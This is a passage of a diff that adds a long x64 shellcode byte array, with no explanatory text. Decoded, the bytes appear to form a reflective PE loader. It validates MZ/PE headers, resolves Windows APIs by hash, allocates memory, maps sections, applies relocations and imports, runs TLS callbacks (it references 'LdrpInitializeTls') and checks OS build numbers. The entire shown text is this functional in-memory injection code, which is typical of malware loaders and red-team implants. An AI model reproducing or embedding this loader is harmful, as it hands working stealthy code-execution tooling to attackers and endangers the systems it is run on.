0x48, 0x89, 0xf1, 0xe8, 0xbe, 0x00, 0x00, 0x00, + 0xeb, 0x02, 0x31, 0xc0, 0x48, 0x83, 0xc4, 0x70, 0x5b, 0x5f, 0x5e, 0xc3, 0x48, 0x89, 0xf9, 0x66, + 0xba, 0x06, 0x00, 0x66, 0x41, 0xb8, 0x02, 0x00, 0x45, 0x31, 0xc9, 0xe8, 0x37, 0xeb, 0xff, 0xff, + 0x84, 0xc0, 0x74, 0x3a, 0x48, 0xb8, 0x48, 0x8b, 0x79, 0x30, 0x45, 0x8d, 0x66, 0x01, 0x48, 0x8d, + 0x54, 0x24, 0x50, 0x48, 0x89, 0x02, 0x48, 0x8d, 0x7c, 0x24, 0x30, 0x41, 0xb8, 0x08, 0x00, 0x00, + 0x00, 0x48, 0x89, 0xf9, 0xe8, 0xbc, 0xea, 0xff, 0xff, 0x48, 0xc7, 0x47, 0x10, 0x08, 0x00, 0x00, + 0x00, 0x48, 0xc7, 0x47, 0x18, 0x49, 0x00, 0x00, 0x00, 0xe9, 0x2e, 0xff, 0xff, 0xff, 0x48, 0x89, + 0xf9, 0x66, 0xba, 0x06, 0x00, 0x66, 0x41, 0xb8, 0x01, 0x00, 0x45, 0x31, 0xc9, 0xe8, 0xe5, 0xea, + 0xff, 0xff, 0x84, 0xc0, 0x0f, 0x84, 0x12, 0xff, 0xff, 0xff, 0x48, 0xb8, 0x41, 0xb8, 0x09, 0x00, + 0x00, 0x00, 0x48, 0x8d, 0x48, 0x8d, 0x54, 0x24, 0x50, 0x48, 0x89, 0x02, 0x66, 0xc7, 0x42, 0x08, + 0x44, 0x24, 0xc6, 0x42, 0x0a, 0x38, 0x48, 0x8d, 0x7c, 0x24, 0x30, 0x41, 0xb8, 0x0b, 0x00, 0x00, + 0x00, 0x48, 0x89, 0xf9, 0xe8, 0x5c, 0xea, 0xff, 0xff, 0x48, 0xc7, 0x47, 0x10, 0x0b, 0x00, 0x00, + 0x00, 0x48, 0xc7, 0x47, 0x18, 0x27, 0x00, 0x00, 0x00, 0xe9, 0xce, 0xfe, 0xff, 0xff, 0x48, 0x89, + 0xc8, 0x0f, 0xb6, 0x08, 0x81, 0xf9, 0xcc, 0x00, 0x00, 0x00, 0x74, 0x08, 0x81, 0xf9, 0x90, 0x00, + 0x00, 0x00, 0x75, 0x05, 0x48, 0xff, 0xc0, 0xeb, 0xe8, 0xc3, 0x56, 0x57, 0x53, 0x48, 0x83, 0xec, + 0x50, 0x48, 0x89, 0xce, 0x48, 0xb8, 0x4c, 0x64, 0x72, 0x70, 0x49, 0x6e, 0x69, 0x74, 0x48, 0x8d, + 0x54, 0x24, 0x3e, 0x48, 0x89, 0x02, 0x48, 0xb8, 0x69, 0x61, 0x6c, 0x69, 0x7a, 0x65, 0x54, 0x6c, + 0x48, 0x89, 0x42, 0x08, 0x66, 0xc7, 0x42, 0x10, 0x73, 0x00, 0x41, 0xb8, 0x12, 0x00, 0x00, 0x00, + 0xe8, 0x38, 0x01, 0x00, 0x00, 0x48, 0x8d, 0x54, 0x24, 0x30, 0x66, 0xc7, 0x02, 0x4c, 0x8d, 0xc6, + 0x42, 0x02, 0x05, 0x48, 0x89, 0x44, 0x24, 0x20, 0x41, 0xb8, 0x03, 0x00, 0x00, 0x00, 0x41, 0xb9, + 0x07, 0x00, 0x00, 0x00, 0x48, 0x89, 0xf1, 0xe8, 0xa2, 0x01, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x0f, + 0x84, 0xe1, 0x00, 0x00, 0x00, 0x48, 0x89, 0xc7, 0x48, 0x01, 0xf7, 0x4c, 0x8d, 0x44, 0x24, 0x2f, + 0x41, 0xc6, 0x00, 0xe8, 0x48, 0xc7, 0x44, 0x24, 0x20, 0x01, 0x00, 0x00, 0x00, 0xba, 0x30, 0x00, + 0x00, 0x00, 0x41, 0xb9, 0x01, 0x00, 0x00, 0x00, 0x48, 0x89, 0xf9, 0xe8, 0x22, 0xea, 0xff, 0xff, + 0x48, 0x83, 0xf8, 0xff, 0x0f, 0x84, 0xac, 0x00, 0x00, 0x00, 0x48, 0x89, 0xc3, 0x48, 0x8d, 0x0c, + 0x38, 0x48, 0x83, 0xc1, 0x05, 0x48, 0xc7, 0x44, 0x24, 0x20, 0x01, 0x00, 0x00, 0x00, 0x4c, 0x8d, + 0x44, 0x24, 0x2f, 0xba, 0x30, 0x00, 0x00, 0x00, 0x41, 0xb9, 0x01, 0x00, 0x00, 0x00, 0xe8, 0xef, + 0xe9, 0xff, 0xff, 0x48, 0x83, 0xf8, 0xff, 0x74, 0x7d, 0x48, 0x01, 0xfb, 0x48, 0x8d, 0x0c, 0x18, + 0x48, 0x83, 0xc1, 0x05, 0x48, 0x89, 0xc2, 0x48, 0x01, 0xda, 0x8b, 0x44, 0x18, 0x06, 0x83, 0xc0, + 0x05, 0x48, 0x98, 0x48, 0x01, 0xc2, 0x48, 0x83, 0xc2, 0x05, 0x4c, 0x8d, 0x44, 0x24, 0x30, 0x49, + 0x89, 0x08, 0x41, 0xb9, 0x01, 0x00, 0x00, 0x00, 0x48, 0x89, 0xf1, 0xe8, 0x69, 0x02, 0x00, 0x00, + 0x48, 0x85, 0xc0, 0x74, 0x41, 0x48, 0x89, 0xc7, 0x48, 0x89, 0xf1, 0xe8, 0xca, 0x00, 0x00, 0x00, + 0x48, 0x89, 0xc1, 0x31, 0xc0, 0x48, 0x85, 0xc9, 0x74, 0x2e, 0x48, 0x85, 0xd2, 0x74, 0x29, 0x48, + 0x01, 0xca, 0x48, 0x39, 0xd7, 0x73, 0x21, 0x48, 0x89, 0xf8, 0x0f, 0xb7, 0x10, 0x81, 0xfa, 0x90, + 0x90, 0x00, 0x00, 0x74, 0x1b, 0x81, 0xfa, 0xcc, 0xcc, 0x00, 0x00, 0x74, 0x13, 0x48, 0x83, 0xc0, + 0xfe, 0x48, 0x39, 0xc8, 0x77, 0xe4, 0x31, 0xc0, 0x48, 0x83, 0xc4, 0x50, 0x5b, 0x5f, 0x5e, 0xc3, + 0x0f, 0xb6, 0x48, 0x02, 0x48, 0x83, 0xc0, 0x02, 0x81, 0xf9, 0x90, 0x00, 0x00, 0x00, 0x74, 0x08, + 0x81, 0xf9, 0xcc, 0x00, 0x00, 0x00, 0x75, 0xe0, 0x48, 0xff, 0xc0, 0xeb, 0xdb, 0x41, 0x56, 0x56, + 0x57, 0x53, 0x48, 0x83, 0xec, 0x38, 0x4c, 0x89, 0xc7, 0x48, 0x89, 0xd3, 0x48, 0x89, 0xce, 0x48, + 0x8d, 0x54, 0x24, 0x32, 0xc7, 0x02, 0x2e, 0x72, 0x64, 0x61, 0x66, 0xc7, 0x42, 0x04, 0x74, 0x61, + 0x41, 0xb8, 0x06, 0x00, 0x00, 0x00, 0xe8, 0x1d, 0xeb, 0xff, 0xff, 0x49, 0x89, 0xc6, 0x31, 0xc0, + 0x4d, 0x85, 0xf6, 0x74, 0x2b, 0x48, 0x85, 0xd2, 0x74, 0x26, 0x48, 0x89, 0x7c, 0x24, 0x20, 0x4c, + 0x89, 0xf1, 0x49, 0x89, 0xd8, 0x49, 0x89, 0xf9, 0xe8, 0xf5, 0xe8, 0xff, 0xff, 0x48, 0x83, 0xf8, + 0xff, 0x74, 0x0b, 0x49, 0x01, 0xc6, 0x49, 0x29, 0xf6, 0x4c, 0x89, 0xf0, 0xeb, 0x02, 0x31, 0xc0, + 0x48, 0x83, 0xc4, 0x38, 0x5b, 0x5f, 0x5e, 0x41, 0x5e, 0xc3, 0x48, 0x83, 0xec, 0x28, 0x48, 0x8d, + 0x54, 0x24, 0x23, 0xc7, 0x02, 0x2e, 0x74, 0x65, 0x78, 0xc6, 0x42, 0x04, 0x74, 0x41, 0xb8, 0x05, + 0x00, 0x00, 0x00, 0xe8, 0xc0, 0xea, 0xff, 0xff, 0x90, 0x48, 0x83, 0xc4, 0x28, 0xc3, 0x41, 0x57, + 0x41, 0x56, 0x41, 0x55, 0x41, 0x54, 0x56, 0x57, 0x55, 0x53, 0x48, 0x83, 0xec, 0x78, 0x4c, 0x89, + 0xce, 0x4c, 0x89, 0xc3, 0x48, 0x89, 0x54, 0x24, 0x48, 0x49, 0x89, 0xcd, 0xe8, 0xb9, 0xff, 0xff, + 0xff, 0x49, 0x89, 0xc7, 0x31, 0xc0, 0x48, 0x83, 0xfb, 0x0c, 0x0f, 0x87, 0x28, 0x01, 0x00, 0x00, + 0x4d, 0x85, 0xff, 0x0f, 0x84, 0x1f, 0x01, 0x00, 0x00, 0x49, 0x89, 0xd4, 0x48, 0x85, 0xd2, 0x0f, + 0x84, 0x13, 0x01, 0x00, 0x00, 0x48, 0x8b, 0x84, 0x24, 0xe0, 0x00, 0x00, 0x00, 0x48, 0x89, 0x44, + 0x24, 0x40, 0x31, 0xc0, 0x48, 0x83, 0xf8, 0x10, 0x74, 0x0a, 0xc6, 0x44, 0x04, 0x50, 0x00, 0x48, + 0xff, 0xc0, 0xeb, 0xf0, 0x48, 0x8d, 0x4c, 0x24, 0x50, 0x48, 0x8b, 0x54, 0x24, 0x48, 0x49, 0x89, + 0xd8, 0xe8, 0xaf, 0xe7, 0xff, 0xff, 0x48, 0x8d, 0x3c, 0x1c, 0x48, 0x83, 0xc7, 0x50, 0x41, 0xbe, + 0x10, 0x00, 0x00, 0x00, 0x49, 0x29, 0xde, 0x48, 0x8d, 0x43, 0x04, 0x48, 0x89, 0x44, 0x24, 0x70, + 0x4c, 0x89, 0xf8, 0x4c, 0x01, 0xe0, 0x48, 0x89, 0x44, 0x24, 0x68, 0x4c, 0x89, 0x6c, 0x24, 0x60, + 0x4c, 0x01, 0x6c, 0x24, 0x40, 0x31, 0xc0, 0x48, 0x89, 0x44, 0x24, 0x38, 0x48, 0x89, 0x5c, 0x24, + 0x20, 0x4c, 0x89, 0xf9, 0x4c, 0x89, 0xe2, 0x4c, 0x8b, 0x44, 0x24, 0x48, 0x49, 0x89, 0xd9, 0xe8, + 0xee, 0xe7, 0xff, 0xff, 0x48, 0x83, 0xf8, 0xff, 0x0f, 0x84, 0x85, 0x00, 0x00, 0x00, 0x48, 0x89, + 0xc5, 0x41, 0x8d, 0x04, 0x37, 0x01, 0xe8, 0x48, 0x8b, 0x4c, 0x24, 0x40, 0x29, 0xc1, 0x89, 0x4c, + 0x24, 0x34, 0x31, 0xc0, 0x49, 0x39, 0xc6, 0x74, 0x09, 0xc6, 0x04, 0x07, 0x00, 0x48, 0xff, 0xc0, + 0xeb, 0xf2, 0x41, 0xb8, 0x04, 0x00, 0x00, 0x00, 0x48, 0x89, 0xf9, 0x48, 0x8d, 0x54, 0x24, 0x34, + 0xe8, 0x20, 0xe7, 0xff, 0xff, 0x4d, 0x8d, 0x2c, 0x2f, 0x48, 0x8b, 0x44, 0x24, 0x70, 0x48, 0x89, + 0x44, 0x24, 0x20, 0xba, 0x10, 0x00, 0x00, 0x00, 0x41, 0xb9, 0x10, 0x00, 0x00, 0x00, 0x4c, 0x89, + 0xe9, 0x4c, 0x8d, 0x44, 0x24, 0x50, 0xe8, 0x87, 0xe7, 0xff, 0xff, 0x48, 0x83, 0xf8, 0xff, 0x75, + 0x18, 0x48, 0x01, 0xf5, 0x49, 0x29, 0xec, 0x76, 0x1a, 0x49, 0x01, 0xef, 0x4c, 0x3b, 0x7c, 0x24, + 0x68, 0x0f, 0x86, 0x65, 0xff, 0xff, 0xff, 0xeb, 0x0a, 0x4c, 0x2b, 0x6c, 0x24, 0x60, 0x4c, 0x89, + 0x6c, 0x24, 0x38, 0x48, 0x8b, 0x44, 0x24, 0x38, 0x48, 0x83, 0xc4, 0x78, 0x5b, 0x5d, 0x5f, 0x5e, + 0x41, 0x5c, 0x41, 0x5d, 0x41, 0x5e, 0x41, 0x5f, 0xc3, 0x41, 0x57, 0x41, 0x56, 0x41, 0x55, 0x41, + 0x54, 0x56, 0x57, 0x55, 0x53, 0x48, 0x83, 0xec, 0x38, 0x4c, 0x89, 0xce, 0x4c, 0x89, 0xc7, 0x48, + 0x89, 0xd3, 0xe8, 0x53, 0xfe, 0xff, 0xff, 0x45, 0x31, 0xf6, 0x48, 0x85, 0xc0, 0x0f, 0x84, 0x87, + 0x00, 0x00, 0x00, 0x49, 0x89, 0xd4, 0x48, 0x85, 0xd2, 0x74, 0x7f, 0x49, 0x89, 0xc7, 0x49, 0x89, + 0xc5, 0x48, 0x8d, 0x6c, 0x24, 0x37, 0xc6, 0x45, 0x00, 0xe8, 0x4d, 0x01, 0xe7, 0x48, 0xc1, 0xe6, + 0x03, 0x45, 0x31, 0xf6, 0x48, 0xc7, 0x44, 0x24, 0x20, 0x01, 0x00, 0x00, 0x00, 0x41, 0xb9, 0x01, + 0x00, 0x00, 0x00, 0x4c, 0x89, 0xe9, 0x4c, 0x89, 0xe2, 0x49, 0x89, 0xe8, 0xe8, 0xe1, 0xe6, 0xff, + 0xff, 0x48, 0x83, 0xf8, 0xff, 0x74, 0x43, 0x4a, 0x8d, 0x0c, 0x28, 0x89, 0xda, 0x29, 0xca, 0x46, + 0x8b, 0x44, 0x28, 0x01, 0x41, 0x83, 0xc0, 0x05, 0x41, 0x39, 0xd0, 0x75, 0x14, 0x31, 0xd2, 0x48, + 0x39, 0xd6, 0x74, 0x23, 0x4c, 0x8d, 0x42, 0x08, 0x48, 0x39, 0x0c, 0x17, 0x4c, 0x89, 0xc2, 0x75, + 0xee, 0x48, 0x8d, 0x48, 0x01, 0x49, 0x29, 0xcc, 0x76, 0x10, 0x49, 0x01, 0xc5, 0x49, 0xff, 0xc5, + 0x4d, 0x39, 0xfd, 0x76, 0x9f, 0xeb, 0x03, 0x49, 0x89, 0xce, 0x4c, 0x89, 0xf0, 0x48, 0x83, 0xc4, + 0x38, 0x5b, 0x5d, 0x5f, 0x5e, 0x41, 0x5c, 0x41, 0x5d, 0x41, 0x5e, 0x41, 0x5f, 0xc3, 0x56, 0x48, + 0x83, 0xec, 0x20, 0x48, 0x89, 0xce, 0xe8, 0xea, 0xe5, 0xff, 0xff, 0x48, 0x89, 0xf0, 0x48, 0x83, + 0xc4, 0x20, 0x5e, 0xc3, 0x31, 0xc0, 0x45, 0x31, 0xc9, 0x4d, 0x39, 0xc8, 0x74, 0x18, 0x46, 0x0f, + 0xb6, 0x14, 0x09, 0x46, 0x0f, 0xb6, 0x1c, 0x0a, 0x49, 0xff, 0xc1, 0x45, 0x38, 0xda, 0x74, 0xe9, + 0x45, 0x29, 0xda, 0x44, 0x89, 0xd0, 0xc3, 0x41, 0x57, 0x41, 0x56, 0x41, 0x55, 0x41, 0x54, 0x56, + 0x57, 0x55, 0x53, 0x48, 0x81, 0xec, 0xb8, 0x02, 0x00, 0x00, 0x66, 0x81, 0x39, 0x4d, 0x5a, 0x0f, + 0x85, 0x7b, 0x05, 0x00, 0x00, 0x48, 0x89, 0xcb, 0x48, 0x63, 0x49, 0x3c, 0x81, 0x3c, 0x19, 0x50, + 0x45, 0x00, 0x00, 0x0f, 0x85, 0x67, 0x05, 0x00, 0x00, 0x89, 0xd6, 0x48, 0x89, 0xc8, 0x48, 0x01, + 0xd8, 0x48, 0x89, 0x44, 0x24, 0x20, 0x0f, 0xb7, 0x78, 0x14, 0xb9, 0x55, 0x95, 0xdb, 0x6d, 0x4c, + 0x89, 0x4c, 0x24, 0x70, 0x4c, 0x89, 0x44, 0x24, 0x68, 0xe8, 0x00, 0xe7, 0xff, 0xff, 0x49, 0x89, + 0xc6, 0xb9, 0xed, 0xb0, 0xda, 0x1e, 0xe8, 0xf3, 0xe6, 0xff, 0xff, 0x48, 0x89, 0x44, 0x24, 0x30, + 0x4c, 0x89, 0x74, 0x24, 0x50, 0x4d, 0x85, 0xf6, 0x0f, 0x84, 0x22, 0x05, 0x00, 0x00, 0x48, 0x83, + 0x7c, 0x24, 0x30, 0x00, 0x0f, 0x84, 0x16, 0x05, 0x00, 0x00, 0x4c, 0x8b, 0x64, 0x24, 0x50, 0x4c, + 0x89, 0xe1, 0xba, 0xdb, 0x2f, 0x07, 0xb7, 0xe8, 0x1e, 0xe7, 0xff, 0xff, 0x49, 0x89, 0xc6, 0x4c, + 0x89, 0xe1, 0xba, 0xbf, 0xc1, 0xcf, 0xde, 0xe8, 0x0e, 0xe7, 0xff, 0xff, 0x49, 0x89, 0xc5, 0x4c, + 0x89, 0xe1, 0xba, 0x57, 0xc2, 0x7b, 0x09, 0xe8, 0xfe, 0xe6, 0xff, 0xff, 0x49, 0x89, 0xc7, 0x4c, + 0x89, 0xe1, 0xba, 0x0d, 0x50, 0x57, 0xe8, 0xe8, 0xee, 0xe6, 0xff, 0xff, 0x48, 0x89, 0x44, 0x24, + 0x48, 0x4c, 0x8b, 0x64, 0x24, 0x30, 0x4c, 0x89, 0xe1, 0xba, 0x7f, 0xb8, 0x69, 0x62, 0xe8, 0xd7, + 0xe6, 0xff, 0xff, 0x48, 0x89, 0x44, 0x24, 0x40, 0x4c, 0x89, 0xe1, 0xba, 0xdd, 0x5c, 0xde, 0x0d, + 0xe8, 0xc5, 0xe6, 0xff, 0xff, 0x4d, 0x85, 0xf6, 0x0f, 0x84, 0xa2, 0x04, 0x00, 0x00, 0x4d, 0x85, + 0xed, 0x0f, 0x84, 0x99, 0x04, 0x00, 0x00, 0x4c, 0x89, 0xfd, 0x4d, 0x85, 0xff, 0x0f, 0x84, 0x8d, + 0x04, 0x00, 0x00, 0x48, 0x83, 0x7c, 0x24, 0x48, 0x00, 0x0f, 0x84, 0x81, 0x04, 0x00, 0x00, 0x48, + 0x83, 0x7c, 0x24, 0x40, 0x00, 0x0f, 0x84, 0x75, 0x04, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x0f, 0x84, + 0x6c, 0x04, 0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x60, 0x4c, 0x8b, 0x7c, 0x24, 0x20, 0x49, 0x8b, + 0x4f, 0x30, 0x41, 0x8b, 0x57, 0x50, 0x41, 0xb8, 0x00, 0x30, 0x00, 0x00, 0x41, 0xb9, 0x04, 0x00, + 0x00, 0x00, 0xff, 0xd5, 0x48, 0x85, 0xc0, 0x74, 0x11, 0x49, 0x89, 0xc4, 0x48, 0x89, 0x6c, 0x24, + 0x38, 0x89, 0x74, 0x24, 0x2c, 0x45, 0x31, 0xff, 0xeb, 0x35, 0x41, 0x8b, 0x57, 0x50, 0x31, 0xc9, + 0x41, 0xb8, 0x00, 0x30, 0x00, 0x00, 0x41, 0xb9, 0x04, 0x00, 0x00, 0x00, 0xff, 0xd5, 0x48, 0x85, + 0xc0, 0x0f, 0x84, 0x19, 0x04, 0x00, 0x00, 0x49, 0x89, 0xc4, 0x48, 0x89, 0x6c, 0x24, 0x38, 0x89, + 0x74, 0x24, 0x2c, 0x49, 0x89, 0xc7, 0x48, 0x8b, 0x44, 0x24, 0x20, 0x4c, 0x2b, 0x78, 0x30, 0x48, + 0x8b, 0x6c, 0x24, 0x20, 0x48, 0x8d, 0x45, 0x18, 0x48, 0x89, 0x44, 0x24, 0x58, 0x48, 0x8d, 0x34, + 0x2f, 0x48, 0x83, 0xc6, 0x18, 0x44, 0x8b, 0x45, 0x54, 0x4c, 0x89, 0xe1, 0x48, 0x89, 0xda, 0xe8, + 0x01, 0xe4, 0xff, 0xff, 0x0f, 0xb7, 0x7d, 0x06, 0x48, 0x83, 0xc6, 0x14, 0x66, 0x83, 0xef, 0x01, + 0x72, 0x1a, 0x8b, 0x4e, 0xf8, 0x44, 0x8b, 0x46, 0xfc, 0x4c, 0x01, 0xe1, 0x8b, 0x16, 0x48, 0x01, + 0xda, 0xe8, 0xdf, 0xe3, 0xff, 0xff, 0x48, 0x83, 0xc6, 0x28, 0xeb, 0xe0, 0x4d, 0x85, 0xff, 0x4c, + 0x8b, 0x5c, 0x24, 0x20, 0x74, 0x58, 0x41, 0x83, 0xbb, 0xb4, 0x00, 0x00, 0x00, 0x00, 0x74, 0x4e, + 0x49, 0x8d, 0x8b, 0xb0, 0x00, 0x00, 0x00, 0x4c, 0x89, 0xe0, 0x8b, 0x09, 0x83, 0x3c, 0x08, 0x00, + 0x74, 0x3c, 0x48, 0x01, 0xc8, 0x48, 0x8d, 0x48, 0x04, 0x8b, 0x50, 0x04, 0x83, 0xc2, 0xf8, 0xd1, + 0xea, 0x45, 0x31, 0xc0, 0x4c, 0x39, 0xc2, 0x74, 0xe1, 0x46, 0x0f, 0xb7, 0x4c, 0x40, 0x08, 0x49, + 0x81, 0xf9, 0x00, 0x10, 0x00, 0x00, 0x72, 0x11, 0x44, 0x8b, 0x10, 0x41, 0x81, 0xe1, 0xff, 0x0f, + 0x00, 0x00, 0x4d, 0x01, 0xe1, 0x4f, 0x01, 0x3c, 0x0a, 0x49, 0xff, 0xc0, 0xeb, 0xd6, 0x41, 0x8b, + 0xbb, 0x90, 0x00, 0x00, 0x00, 0x4c, 0x01, 0xe7, 0x8b, 0x4f, 0x0c, 0x48, 0x85, 0xc9, 0x74, 0x4d, + 0x4c, 0x01, 0xe1, 0x41, 0xff, 0xd6, 0x8b, 0x0f, 0x44, 0x8b, 0x7f, 0x10, 0x85, 0xc9, 0x44, 0x89, + 0xfe, 0x0f, 0x45, 0xf1, 0x48, 0x89, 0xc3, 0x4c, 0x01, 0xe6, 0x4d, 0x01, 0xe7, 0x31, 0xed, 0x48, + 0x8b, 0x04, 0x2e, 0x48, 0x85, 0xc0, 0x74, 0x1f, 0x78, 0x0a, 0x4a, 0x8d, 0x14, 0x20, 0x48, 0x83, + 0xc2, 0x02, 0xeb, 0x03, 0x0f, 0xb7, 0xd0, 0x48, 0x89, 0xd9, 0x41, 0xff, 0xd5, 0x49, 0x89, 0x04, + 0x2f, 0x48, 0x83, 0xc5, 0x08, 0xeb, 0xd8, 0x48, 0x83, 0xc7, 0x14, 0xeb, 0xab, 0x48, 0x8b, 0x44, + 0x24, 0x20, 0x83, 0xb8, 0xf4, 0x00, 0x00, 0x00, 0x00, 0x74, 0x5c, 0x48, 0x8b, 0x44, 0x24, 0x20, + 0x8b, 0xb8, 0xf0, 0x00, 0x00, 0x00, 0x4c, 0x01, 0xe7, 0x8b, 0x4f, 0x04, 0x48, 0x85, 0xc9, 0x74, + 0x46, 0x4c, 0x01, 0xe1, 0x41, 0xff, 0xd6, 0x48, 0x89, 0xc3, 0x44, 0x8b, 0x7f, 0x0c, 0x8b, 0x77, + 0x10, 0x4c, 0x01, 0xe6, 0x4d, 0x01, 0xe7, 0x31, 0xed, 0x48, 0x8b, 0x04, 0x2e, 0x48, 0x85, 0xc0, + 0x74, 0x1f, 0x78, 0x0a, 0x4a, 0x8d, 0x14, 0x20, 0x48, 0x83, 0xc2, 0x02, 0xeb, 0x03, 0x0f, 0xb7, + 0xd0, 0x48, 0x89, 0xd9, 0x41, 0xff, 0xd5, 0x49, 0x89, 0x04, 0x2f, 0x48, 0x83, 0xc5, 0x08, 0xeb, + 0xd8, 0x48, 0x83, 0xc7, 0x20, 0xeb, 0xb2, 0x48, 0x8b, 0x4c, 0x24, 0x20, 0x0f, 0xb7, 0x41, 0x14, + 0x0f, 0xb7, 0x79, 0x06, 0x48, 0x8b, 0x4c, 0x24, 0x58, 0x4c, 0x8d, 0x34, 0x08, 0x49, 0x83, 0xc6, + 0x0c, 0x48, 0x8d, 0x5c, 0x24, 0x78, 0x48, 0x8b, 0x74, 0x24, 0x48, 0x66, 0x83, 0xef, 0x01, 0x72, + 0x6f, 0x83, 0x64, 0x24, 0x78, 0x00, 0x41, 0x8b, 0x46, 0x18, 0x41, 0x89, 0xc0, 0x41, 0x81, 0xe0, + 0x00, 0x00, 0x00, 0x40, 0x0f, 0xba, 0xe0, 0x1d, 0x72, 0x0a, 0x85, 0xc0, 0x78, 0x1a, 0x41, 0xc1, + 0xe8, 0x1d, 0xeb, 0x37, 0x85, 0xc0, 0x78, 0x22, 0x31, 0xc0, 0x45, 0x85, 0xc0, 0x0f, 0x95, 0xc0, + 0xc1, 0xe0, 0x04, 0x83, 0xc0, 0x10, 0xeb, 0x20, 0x31, 0xc0, 0x45, 0x85, 0xc0, 0x0f, 0x94, 0xc0, + 0x44, 0x8d, 0x04, 0x85, 0x04, 0x00, 0x00, 0x00, 0xeb, 0x11, 0x31, 0xc0, 0x45, 0x85, 0xc0, 0x0f, + 0x94, 0xc0, 0xc1, 0xe0, 0x06, 0x83, 0xc0, 0x40, 0x41, 0x89, 0xc0, 0x41, 0x8b, 0x0e, 0x4c, 0x01, + 0xe1, 0x41, 0x8b, 0x56, 0x04, 0x49, 0x89, 0xd9, 0xff, 0xd6, 0x49, 0x83, 0xc6, 0x28, 0xeb, 0x8b, + 0x31, 0xff, 0x48, 0xc7, 0xc1, 0xff, 0xff, 0xff, 0xff, 0x31, 0xd2, 0x45, 0x31, 0xc0, 0xff, 0x54, + 0x24, 0x40, 0x48, 0x8d, 0x9c, 0x24, 0x9c, 0x01, 0x00, 0x00, 0x41, 0xb8, 0x1c, 0x01, 0x00, 0x00, + 0x48, 0x89, 0xd9, 0x31, 0xd2, 0xe8, 0x74, 0xe3, 0xff, 0xff, 0x48, 0x89, 0xd9, 0xff, 0x54, 0x24, + 0x60, 0x8b, 0x43, 0x04, 0xc1, 0xe0, 0x08, 0x0b, 0x43, 0x08, 0x3d, 0x01, 0x05, 0x00, 0x00, 0x0f, + 0x84, 0x95, 0x00, 0x00, 0x00, 0x3d, 0x01, 0x06, 0x00, 0x00, 0x74, 0x7f, 0x3d, 0x02, 0x06, 0x00, + 0x00, 0x74, 0x7d, 0x3d, 0x03, 0x06, 0x00, 0x00, 0x74, 0x7b, 0x3d, 0x00, 0x0a, 0x00, 0x00, 0x75, + 0x7c, 0x8b, 0x84, 0x24, 0xa8, 0x01, 0x00, 0x00, 0x40, 0xb7, 0x0f, 0x3d, 0xeb, 0x55, 0x00, 0x00, + 0x77, 0x6b, 0x40, 0xb7, 0x0e, 0x3d, 0x60, 0x4a, 0x00, 0x00, 0x77, 0x61, 0x40, 0xb7, 0x0d, 0x3d, + 0xba, 0x47, 0x00, 0x00, 0x77, 0x57, 0x40, 0xb7, 0x0c, 0x74, 0x52, 0x40, 0xb7, 0x0b, 0x3d, 0x62, + 0x45, 0x00, 0x00, 0x77, 0x48, 0x40, 0xb7, 0x0a, 0x3d, 0xed, 0x42, 0x00, 0x00, 0x77, 0x3e, 0x40, + 0xb7, 0x09, 0x3d, 0xaa, 0x3f, 0x00, 0x00, 0x77, 0x34, 0x40, 0xb7, 0x08, 0x3d, 0xd6, 0x3a, 0x00, + 0x00, 0x77, 0x2a, 0x40, 0xb7, 0x07, 0x3d, 0x38, 0x38, 0x00, 0x00, 0x77, 0x20, 0x3d, 0x5a, 0x29, + 0x00, 0x00, 0x40, 0xb7, 0x05, 0x40, 0x80, 0xdf, 0xff, 0xeb, 0x12, 0x40, 0xb7, 0x02, 0xeb, 0x0d, + 0x40, 0xb7, 0x03, 0xeb, 0x08, 0x40, 0xb7, 0x04, 0xeb, 0x03, 0x40, 0xb7, 0x01, 0x48, 0x8d, 0x94, + 0x24, 0x9c, 0x01, 0x00, 0x00, 0x8b, 0x72, 0x0c, 0x48, 0x8d, 0x5c, 0x24, 0x7c, 0x41, 0xb8, 0x1c, + 0x01, 0x00, 0x00, 0x48, 0x89, 0xd9, 0xe8, 0x23, 0xfb, 0xff, 0xff, 0x40, 0x88, 0xbb, 0x1c, 0x01, + 0x00, 0x00, 0x89, 0x73, 0xfc, 0x4c, 0x8d, 0x44, 0x24, 0x78, 0x48, 0x8b, 0x4c, 0x24, 0x30, 0x4c, + 0x89, 0xe2, 0xe8, 0xd7, 0xf3, 0xff, 0xff, 0x48, 0x8b, 0x7c, 0x24, 0x20, 0x83, 0xbf, 0xd4, 0x00, + 0x00, 0x00, 0x00, 0x74, 0x2b, 0x8b, 0x87, 0xd0, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x20, + 0x49, 0x8b, 0x74, 0x04, 0x18, 0x48, 0x8b, 0x06, 0x48, 0x85, 0xc0, 0x74, 0x13, 0x4c, 0x89, 0xe1, + 0xba, 0x01, 0x00, 0x00, 0x00, 0x45, 0x31, 0xc0, 0xff, 0xd0, 0x48, 0x83, 0xc6, 0x08, 0xeb, 0xe5, + 0x48, 0x8b, 0x4c, 0x24, 0x50, 0xba, 0xce, 0x87, 0xa8, 0x81, 0xe8, 0xab, 0xe2, 0xff, 0xff, 0x48, + 0x85, 0xc0, 0x0f, 0x84, 0x88, 0x00, 0x00, 0x00, 0x49, 0x89, 0xc1, 0x8b, 0x87, 0xa4, 0x00, 0x00, + 0x00, 0x85, 0xc0, 0x74, 0x1d, 0x8b, 0x8f, 0xa0, 0x00, 0x00, 0x00, 0x4c, 0x01, 0xe1, 0x41, 0xb8, + 0x0c, 0x00, 0x00, 0x00, 0x31, 0xd2, 0x41, 0xf7, 0xf0, 0x8d, 0x50, 0xff, 0x4d, 0x89, 0xe0, 0x41, + 0xff, 0xd1, 0x8b, 0x77, 0x28, 0x4c, 0x01, 0xe6, 0x31, 0xc9, 0x48, 0x8b, 0x7c, 0x24, 0x70, 0x48, + 0x89, 0xfa, 0x41, 0xb8, 0x00, 0x30, 0x00, 0x00, 0x41, 0xb9, 0x04, 0x00, 0x00, 0x00, 0xff, 0x54, + 0x24, 0x38, 0x48, 0x89, 0xc3, 0x48, 0x89, 0xc1, 0x48, 0x8b, 0x54, 0x24, 0x68, 0x49, 0x89, 0xf8, + 0xe8, 0x50, 0xe0, 0xff, 0xff, 0x8b, 0x7c, 0x24, 0x2c, 0x85, 0xff, 0x74, 0x17, 0x4c, 0x89, 0xe1, + 0xba, 0x01, 0x00, 0x00, 0x00, 0x49, 0x89, 0xd8, 0xff, 0xd6, 0x89, 0xf8, 0x49, 0x01, 0xc4, 0x41, + 